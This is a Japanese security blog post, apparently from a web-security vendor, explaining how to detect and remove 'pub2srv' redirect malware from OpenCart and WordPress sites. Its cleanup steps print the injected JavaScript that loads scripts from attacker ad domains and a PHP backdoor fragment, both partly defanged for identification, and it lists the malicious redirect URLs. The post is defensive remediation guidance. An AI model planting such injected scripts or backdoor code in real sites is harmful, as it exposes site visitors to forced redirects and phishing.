OpenCart・WordPressサイトからpub2srvマルウェアを完全に削除する方法
私たちは数か月にわたり、OpenCartおよびWordPressのウェブサイトを標的とする特定のマルウェア感染を監視してきました。この感染は一般に「pub2srvマルウェア」と呼ばれ、サイト訪問者を以下のような悪意のあるドメインへ強制的にリダイレクトさせるのが特徴です。
go.pub2srv[.]com
go.mobisla[.]com
go.oclaserver[.com]
deloton.com/afu.php?zoneid= site
Dolohen.com
さらに、サイト上の悪意あるリンクが原因で、Googleアドセンスなどの広告アカウントが停止されるケースも報告されています。関連する悪質なURLの例は以下の通りです。
https://defpush.com/ntfc.php?p=1565632
https://deloplen.com/apu.php?zoneid=1558096
https://go.mobisla.com/notice.php?p=1558098&interactive=1&pushup=1
https://mobpushup.com/notice.php?p=1558098&interactive=1&pushup=1
https://wowreality.info/page.js?wm=gr
フォーラムで支援を求めるWordPressユーザーのスクリーンショット
pub2srvマルウェアとは?主な症状は?
pub2srvマルウェアは、OpenCartやWordPressのサイトをスパムページへリダイレクトさせるマルウェアです。モバイルデバイスでは、広告やフィッシングページを含むスパムのポップアップや通知が表示されます。
このマルウェアは、ウェブページのソースコードに悪意のあるJavaScriptコードを注入することで、リダイレクトやポップアップを引き起こします。OpenCartの場合は、ストアのSQLインジェクション脆弱性が原因で、攻撃者がデータベース内に悪意のあるコードを挿入できる状態になっています。WordPressの場合は、ハッカーがindex.phpやfunctions.phpファイルを改ざんしてペイロードを仕込むことができます。
このハッキングの典型的な症状:
- サイト訪問者が広告、アダルトコンテンツ、フィッシングページを含むスパムサイトへリダイレクトされる(複数回のリダイレクトが発生する原因については、詳細記事をご参照ください)。
- モバイルデバイスでアプリのインストールを促すポップアップが表示される
- AJAXに依存するプラグイン(TablePress、DataTablesなど)が動作しなくなる
- Googleからブラックリスト登録されたり、広告配信が停止されたりする(停止された広告の復活方法については別記事をご覧ください)
- ソースコード内に見覚えのないJavaScriptコードが存在する
ハッキングによる被害
このマルウェアの根本的な原因はSQLインジェクション(SQLi)脆弱性であるため、攻撃者は次のような行為が可能になります。
- データベース内のコンテンツの追加・削除・編集・閲覧
- データベースサーバー上のファイルのソースコードの読み取り
- データベースサーバーへのファイル書き込み
- WordPress/OpenCartサイトのユーザーレコードやパスワードの窃取
- OpenCart/WooCommerceストアの取引情報の盗難
- ドメインでのSEOスパム実行によるGoogle Search Consoleでのブラックリスト登録
pub2srvマルウェアのコードをサイトから削除するには?
OpenCartの場合、マルウェアは通常データベースに感染し、以下のテーブルにコードを配置します。
- oc_product_description テーブル(商品説明)
- oc_category_description テーブル(カテゴリー説明)
OpenCartのデータベースから悪意のあるコードを削除する手順:
- phpMyAdminやSequel Proなどのツールを使ってデータベーステーブルを確認します。
- 「oc_category_description」テーブルを開き、「description」カラムの値を調べます。
- 以下のようなJavaScriptコード断片が見つかるはずです。
<script type="text/javascript">//<![CDATA[ (function() { var configuration = { "token": "XXXXXXXXXXXXX", "exitScript": { "enabled": true }, "popUnder": { "enabled": true } }; var script = document.createElement(''script''); script.async = true; script.src = ''//cdn.shorte[.st]/link-converter.min.js''; script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != ''complete'' && rs != ''loaded'') return; shortestMonetization(configuration);}; var entry = document.getElementsByTagName(''script'')[0]; entry.parentNode.insertBefore(script, entry); })(); //]]></script><script data-cfasync=''false'' type=''text/javascript'' src=''//pXXXXX.clksit[e.com/]adServe/banners?tid=XXXXX_127XXX_7&tagid=2''></script><script type="text/javascript" src="//[go.pub2srv][.com/ap]u.php?zoneid=XXXXXX"></script><script async="async" type="text/javascript" src="//g[o.mobisl]a.co[m/notice.ph]p?p=XXXXXX&interactive=1&pushup=1"></script> - 必要な置き換えを行ったうえで、以下のSQLコードを実行します。
UPDATE oc89gWs_category_description SET description = REPLACE (description, 'INSERT MALICIOUS CODE FROM PREVIOUS STEP', ''); - 同じ手順をoc_product_descriptionテーブルに対しても繰り返します。
WordPressの場合、マルウェアは通常以下のWordPressファイル内に存在します。
- index.php
- functions.php
- データベーステーブル
WordPressサーバーから悪意のあるコードを削除する手順:
- サーバー上のindex.phpファイル(public_htmlフォルダ)とwp-content/themes/テーマ名/functions.phpを開きます。
- これらのファイル内に見慣れないコード、意味不明な文字列、暗号化されたコードがないか検索します。以下のようなコードが見つかる場合があります。
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'XXXXXXXXXXXXXXXXXXXXXX')) { if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; ?> - いずれかのファイルに悪意のあるコードが見つかった場合は、最後に正常動作が確認できているバックアップからファイルを復元してください。
- また、前述のOpenCartの手順と同様に、データベースのテーブルも確認してください。
- さらに、wp-includesディレクトリ内のwp-vcd.phpとclass.wp.phpファイルを削除します。同じくwp-includesディレクトリ内のpost.phpを開き、マルウェアによって追加された先頭のPHPタグを削除します。テーマのfunctions.phpファイルを開き、上記のコードを削除してください。(読者の方Jaberからのコメントに基づく情報です)
再感染を防ぎ、侵入経路を特定するための対策
- OpenCart/WordPressサイトを最新バージョンに更新する:CMS本体の既知のセキュリティ問題を修正します。
- SQLインジェクション攻撃をブロックする:Astraのようなセキュリティプラグインを使用すれば、SQLインジェクション(SQLi)攻撃がサイトに到達する前に検出・遮断できます。
- 管理者アカウントのユーザー名とパスワードを変更する:マルウェア駆除後もハッカーがサイトへのアクセス権を保持し続けないようにします。
- データベースのパスワードを変更する:ハッカーがデータベースに直接接続できないようにします。
- 暗号化キーを変更する:なりすましやその他の暗号攻撃を防ぎます。
- 管理エリアへのアクセスを許可IPアドレスのみに制限する:許可された管理者だけがバックエンドの管理画面にアクセスできるようにします。
- 使用していないプラグイン/拡張機能をアンインストールする:メンテナンスが終了したプラグインは、そもそものハッキングの原因となるセキュリティ問題を抱えている可能性があります。
- サーバーログ(アクセスログ・エラーログ)を確認する:見慣れないエラーや意味不明な記録があれば、ハッキングの発生源や発生時刻の手がかりになることがあります。
関連ガイド:WordPressハッキング駆除
また、WordPressにおけるFavicon(.ico)ウイルスのバックドアに関する記事もぜひご確認ください。
Astra Web Protectionについて
Astra Web Protectionは、CMS向けのエンドツーエンドのセキュリティソリューションです。ボタンひとつで、100種類以上の攻撃、悪質なボット、マルウェアからサイトを保護できます。当社のセキュリティ専門家が、オンラインビジネスの安全確保のため24時間365日サポートを提供しています。専門家による支援をご希望の場合や、サイトを100%クリーンかつ安全に保つ仕組みについて詳しく知りたい場合は、下のチャットウィジェットからお気軽にお問い合わせください。
-
Googleブラックリスト完全ガイド – 登録される原因と解除方法を徹底解説(WordPress・Magento・PrestaShop・OpenCart・Drupal・PHP対応)
検索結果に「このサイトは不正な可能性があります」といった警告が表示されていませんか?残念ながら、あなたのウェブサイトはGoogleのブラックリストに登録されている可能性があります。ハッキングされたサイトやマルウェアに感染したサイトには、ユーザーを保護するためにこうした警告が表示されます。しかし、これはサイトの信頼性や評判に深刻な影響を及ぼします。この記事では、Googleにブラックリスト登録される理由と、リストからサイトを除外するための具体的な手順を詳しく解説します。 Googleブラックリストとは? Googleブラックリストとは、Googleや他の検索エンジン、セキュリティ企業によって「
-
Emotetマルウェアとは?Macからの削除方法と対策を徹底解説(2022年版)
Emotetマルウェアとは?Emotetは、2014年にドイツやオーストリアの銀行を狙ったサイバー攻撃で初めて確認されたバンキングトロイの木馬型マルウェアです。主な感染経路は「マルスパム」、つまり悪意のあるコンテンツを含む迷惑メールです。Emotetは極めて狡猾なマルウェアであり、システム内に保存された機密情報や個人情報の破壊・窃取を目的としています。保存されたパスワードなどのプライベートデータを盗み出すほか、閲覧履歴の追跡なども行います。あわせて読みたい: Macのウイルスチェック方法とは?Emotetマルウェアはどのように感染するのかEmotetの主な感染経路はスパムメールです。サイバー犯